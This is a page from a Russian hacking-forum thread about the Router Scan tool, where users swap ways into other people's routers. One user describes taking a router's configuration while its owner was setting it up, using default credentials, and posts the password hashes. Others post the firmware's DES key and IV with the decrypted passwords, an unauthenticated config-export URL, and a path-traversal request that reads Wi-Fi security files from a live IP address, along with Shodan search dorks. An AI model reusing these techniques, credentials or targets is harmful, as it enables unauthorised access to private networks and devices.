прога Router Scan

Discussion in 'Беспроводные технологии/Wi-Fi/Wardriving' started by СЕРЖ32, 11 Nov 2013.

Page 233 of 402
  1. Kakoluk

    Kakoluk Banned

    Joined:
    14 Aug 2015
    Messages:
    514
    Likes Received:
    704
    Reputations:
    4
    Угнал конфиг пока хозяин настраивал доступ
    System Name Intelligent Multiservice Gateway
    Device Type MSG1200-GEC
    Device Serial Number 000000000953S14B22S0074G
    Hardware Version A.00
    Software Version RCIOS-2.21
    Sub Version 2.21.24.20140910
    .
    Видимо настройки дефолтные, пролез с парой admin:admin 80(во время настройки).
    Ни у кого нет декрипта?
    user administrator admin local secret Hg6MAD7MGTUEcoT9gHG+LhDc6E07QwG71SmiEodL/fQT/YirzsAURqDjk69469y authorized-table telecomadmin 1
    user administrator useradmin local secret CIW6wsU811r3kwZZDvQLRGibh4KTcS3VrPKgb2oRwUEmC0VpH30kLaLAfYiCgow authorized-table useradmin 2
    user administrator user local secret ApL2aPQqcrZactBE+OkHqo8jkGR7VYIvRzaWYWVRiPj49ZmfMdES679R03gf5ES authorized-table user 3
    set preshared-key secret nCE5eHuFlIBOkTy4IM67XjjAKfHFtlQIxVVWF1aGx5ITpjVXsEffZND6liYQzbr
    У нас такие девайсы появились на местном диапазоне Ростелекома. К сожалению не успел пощупать. Устройство было перезагружено а пара сменена.
    Полный конфиг: https://yadi.sk/d/9bLpRb7h3NfYWL
    Откликаются на 80, 443 порт "rchttpd/1.0 (Web user login)"
     
    #4641 Kakoluk, 11 Oct 2017
    Last edited: 11 Oct 2017
    sha9 and binarymaster like this.
  2. Felis-Sapiens

    Felis-Sapiens Reservists Of Antichat

    Joined:
    21 Jul 2015
    Messages:
    616
    Likes Received:
    3,833
    Reputations:
    171
    Гугл говорит, что у ISG1000 есть уязвимость с неавторизованным доступом к конфигу:
    https://6l.143.203.86/system/maintenance/export.php?type=sc
    Проверьте, есть ли у этого.
     
    #4642 Felis-Sapiens, 11 Oct 2017
    sha9, binarymaster, Kakoluk and 2 others like this.
  3. juandiegomu

    juandiegomu Member

    Joined:
    29 Sep 2017
    Messages:
    39
    Likes Received:
    6
    Reputations:
    0
    #4643 juandiegomu, 11 Oct 2017
  4. Felis-Sapiens

    Felis-Sapiens Reservists Of Antichat

    Joined:
    21 Jul 2015
    Messages:
    616
    Likes Received:
    3,833
    Reputations:
    171
    Посмотрел прошивку - зашифрованы DES CBC (key = "Venusutm", "iv" = "licenses"):
    Hg6MAD7MGTUEcoT9gHG+LhDc6E07QwG71SmiEodL/fQT/YirzsAURqDjk69469y - admin
    CIW6wsU811r3kwZZDvQLRGibh4KTcS3VrPKgb2oRwUEmC0VpH30kLaLAfYiCgow - useradmin
    ApL2aPQqcrZactBE+OkHqo8jkGR7VYIvRzaWYWVRiPj49ZmfMdES679R03gf5ES - user

    Для того выше по ссылке:
    TaEr4bGdyq7hXYZ5Fe5nr3LF/xqsiKmEJd/gw8US5zM2sK3Bk7Svj59Esdfi1Nn - yinhe@qwys8551
     
    #4644 Felis-Sapiens, 11 Oct 2017
    4Fun, sha9, to.Index and 7 others like this.
  5. AleksRull

    AleksRull Member

    Joined:
    30 Dec 2016
    Messages:
    49
    Likes Received:
    12
    Reputations:
    0
    Не парсит dasan [​IMG]H660RW
    Логин и пароль по дефолту user:user и больше ничего. сеть bks-tv.ru
     
    #4645 AleksRull, 11 Oct 2017
  6. juandiegomu

    juandiegomu Member

    Joined:
    29 Sep 2017
    Messages:
    39
    Likes Received:
    6
    Reputations:
    0
    Имя пользователя? Pasword? Я не могу идти, спасибо
     
    #4646 juandiegomu, 11 Oct 2017
  7. stasstv

    stasstv Member

    Joined:
    26 Oct 2016
    Messages:
    27
    Likes Received:
    18
    Reputations:
    0
    #4647 stasstv, 13 Oct 2017
    binarymaster, muradddddd, Tudiblad and 1 other person like this.
  8. muradddddd

    muradddddd Member

    Joined:
    19 May 2017
    Messages:
    214
    Likes Received:
    16
    Reputations:
    0
    Годная тема но спалится можна
     
    #4648 muradddddd, 13 Oct 2017
  9. Tudiblad

    Tudiblad Member

    Joined:
    3 Oct 2017
    Messages:
    58
    Likes Received:
    19
    Reputations:
    0
    А ни кто и не настаивает, каждый выбирает для себя свой путь. Будь спокоен товарищ, соответствующие службы тоже просматривают такие форумы и делают соответствующие выводы..................
     
    #4649 Tudiblad, 13 Oct 2017
  10. Veil

    Veil Banned

    Joined:
    21 May 2015
    Messages:
    2,020
    Likes Received:
    3,349
    Reputations:
    72
    С дуру можно и х... сломать, а с кулака и триппер подцепить.
     
    #4650 Veil, 13 Oct 2017
    sha9 likes this.
  11. TOX1C

    TOX1C Elder - Старейшина

    Joined:
    24 Mar 2012
    Messages:
    1,135
    Likes Received:
    1,931
    Reputations:
    24
    На известные школоhuckerские форумы еще осталось понести. И тред на дваче создать потом. Вангую появление пару десятков тысяч точек с задрочистыми паролями в базе))
    [​IMG]
     
    #4651 TOX1C, 13 Oct 2017
    sha9, Ossen, erwerr2321 and 5 others like this.
  12. Veil

    Veil Banned

    Joined:
    21 May 2015
    Messages:
    2,020
    Likes Received:
    3,349
    Reputations:
    72
    Детская дурость не знает границ.
     
    #4652 Veil, 13 Oct 2017
    sha9 likes this.
  13. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    https://www.shodan.io/search?query=TLF_Login.html&ref=os

    Login? Password?
    Нужны образцы, доступные извне, либо дорк на Shodan.
     
    #4653 binarymaster, 13 Oct 2017
    sha9 likes this.
  14. juandiegomu

    juandiegomu Member

    Joined:
    29 Sep 2017
    Messages:
    39
    Likes Received:
    6
    Reputations:
    0
    micro_httpd не пароль, администратор, пароль 1234, и т.д., поздравление
     
    #4654 juandiegomu, 14 Oct 2017
  15. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Не нашёл в Shodan уязвимых, с данными admin:1234.
    А вот тут нашёл уязвимость!

    Можно получить настройки XML без авторизации:
    http://79.108.31.148:8080/xml/../xml/CmgwWirelessSecurity.xml
    http://79.108.31.148:8080/xml/../xml/CmgwWirelessWPS.xml
    и т.д.

    Естественно добавил. :D
     
    #4655 binarymaster, 14 Oct 2017
    4Fun, sha9, carartem02 and 10 others like this.
  16. antis17

    antis17 Well-Known Member

    Joined:
    25 Apr 2017
    Messages:
    158
    Likes Received:
    1,231
    Reputations:
    5
    #4656 antis17, 14 Oct 2017
  17. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Потому что браузер автоматом убирает /../, нужно использовать wget / curl / Charles.

    [​IMG]
     
    #4657 binarymaster, 14 Oct 2017
    sha9, Tudiblad, Upsurt and 5 others like this.
  18. ania01

    ania01 New Member

    Joined:
    19 Dec 2013
    Messages:
    185
    Likes Received:
    2
    Reputations:
    0
    #4658 ania01, 15 Oct 2017
  19. juandiegomu

    juandiegomu Member

    Joined:
    29 Sep 2017
    Messages:
    39
    Likes Received:
    6
    Reputations:
    0
    micro_httpd, sin una contraseña predeterminada, sigo viendo, gracias binarymaster
     
    #4659 juandiegomu, 15 Oct 2017
  20. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    #4660 binarymaster, 15 Oct 2017
    sha9 likes this.
(You must log in or sign up to post here.)
Page 233 of 402
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.